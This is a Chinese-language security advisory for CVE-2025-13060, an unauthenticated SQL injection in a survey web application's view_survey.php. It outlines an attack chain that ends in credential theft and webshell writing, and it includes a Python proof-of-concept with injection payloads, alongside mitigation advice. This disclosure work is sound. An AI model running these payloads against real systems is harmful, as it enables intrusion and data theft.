IPBUF安全漏洞报告
English
CVE-2025-13060 CVSS 7.3 高危

CVE-2025-13060 SourceCodester Survey Application System 1.0 SQL注入漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-13060
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Survey Application System 1.0

相关标签

SQL注入SourceCodesterSurvey Application SystemCVE-2025-13060高危漏洞远程代码执行web应用安全数据库安全

漏洞概述

CVE-2025-13060是SourceCodester Survey Application System 1.0版本中的一个高危SQL注入漏洞。该漏洞存在于view_survey.php文件中的ID参数处理逻辑中,攻击者可以通过构造恶意的SQL语句片段来绕过应用程序的输入验证,进而执行未授权的数据库操作。SourceCodester Survey Application System是一款开源的在线调查问卷应用系统,广泛应用于各类企业和组织的用户调研、数据收集等场景。由于该系统处理大量用户提交的调查数据,SQL注入漏洞的存在可能导致严重的业务数据泄露风险。攻击者利用此漏洞可以获取数据库中的敏感信息,包括用户个人信息、调查答案、管理员凭据等。此外,攻击者还可能通过SQL注入进一步进行横向移动或获取系统最高权限。该漏洞的CVSS评分为7.3,属于高危级别,攻击复杂度低,无需认证即可远程利用,且已公开利用代码,对互联网上的暴露系统构成严重威胁。建议受影响的用户立即采取修复措施,避免遭受恶意攻击。

技术细节

该SQL注入漏洞位于SourceCodester Survey Application System的view_survey.php文件中,问题出在对用户提交的ID参数缺乏充分的输入过滤和参数化查询保护。在应用程序的代码逻辑中,ID参数被直接拼接到SQL查询语句中,而没有使用预处理语句或绑定参数来隔离用户输入与SQL语句结构。攻击者可以通过在ID参数中注入恶意的SQL代码片段,如使用单引号、双破折号或UNION SELECT等SQL语法来修改原始查询的逻辑结构。由于应用程序没有对用户输入进行严格的类型检查和特殊字符转义,恶意SQL代码会被数据库服务器作为合法指令执行。常见的利用方式包括:1)基于时间的盲注攻击,通过SLEEP()函数延迟响应来推断数据库信息;2)UNION联合查询攻击,通过UNION SELECT语句获取其他表的数据;3)布尔型盲注,通过观察页面响应差异来逐步提取数据。攻击者可以利用这些技术获取用户表中的明文密码、管理员账户信息,甚至通过LOAD_FILE()或INTO OUTFILE等函数读取服务器敏感文件或写入webshell。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标系统使用的技术栈和版本信息,确认目标运行SourceCodester Survey Application System 1.0,并定位到存在漏洞的view_survey.php文件及其ID参数
STEP 2
步骤2:漏洞探测
攻击者使用SQL注入测试载荷(如单引号、UNION SELECT等)向ID参数发送请求,观察页面响应特征,判断是否存在SQL注入漏洞及漏洞类型
STEP 3
步骤3:数据库指纹识别
通过发送特定的SQL语句,根据数据库响应信息确定后端数据库类型(如MySQL)、版本号及相关配置,为后续数据提取做准备
STEP 4
步骤4:数据提取
利用UNION联合查询或盲注技术,逐步提取数据库中的敏感信息,包括用户表结构、用户名、密码哈希值、管理员账户等关键数据
STEP 5
步骤5:权限提升与持久化
攻击者利用获取的凭据登录后台管理系统,进一步获取服务器文件读取权限或通过INTO OUTFILE写入webshell,实现持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13060 SQL Injection PoC # Target: SourceCodester Survey Application System 1.0 # File: /view_survey.php # Parameter: ID import requests import sys target_url = "http://target.com/view_survey.php" # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", # Authentication bypass "1' UNION SELECT 1,2,3,4,5-- -", # Union-based injection "1' AND SLEEP(5)-- -", # Time-based blind injection "1' AND 1=1-- -", # Boolean test (true) "1' AND 1=2-- -", # Boolean test (false) ] def test_sql_injection(url, param='id'): print(f"[*] Testing SQL Injection on {url}") print(f"[*] Target parameter: {param}") for payload in payloads: try: params = {param: payload} response = requests.get(url, params=params, timeout=10) print(f"\n[+] Payload: {payload}") print(f" Status Code: {response.status_code}") print(f" Response Length: {len(response.text)}") # Check for SQL error messages if any(err in response.text.lower() for err in ['sql', 'mysql', 'syntax', 'warning', 'error']): print(" [!] Potential SQL error detected!") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] test_sql_injection(target_url) print("\n[*] PoC execution completed. Manual verification required.")

影响范围

SourceCodester Survey Application System 1.0

防御指南

临时缓解措施
在官方修复补丁发布之前,可以采取以下临时缓解措施:1)使用Web应用防火墙规则拦截包含SQL注入特征的攻击请求;2)在应用层代码中对ID参数进行严格的数字类型验证,只接受整数类型;3)对数据库账户进行权限限制,移除不必要的文件读写和UDF函数执行权限;4)启用数据库审计日志,监控异常查询行为;5)限制对view_survey.php文件的访问,仅允许授权用户访问;6)部署入侵检测系统监控可疑的网络流量和异常数据库查询。建议尽快升级到官方发布的安全版本以彻底消除该漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表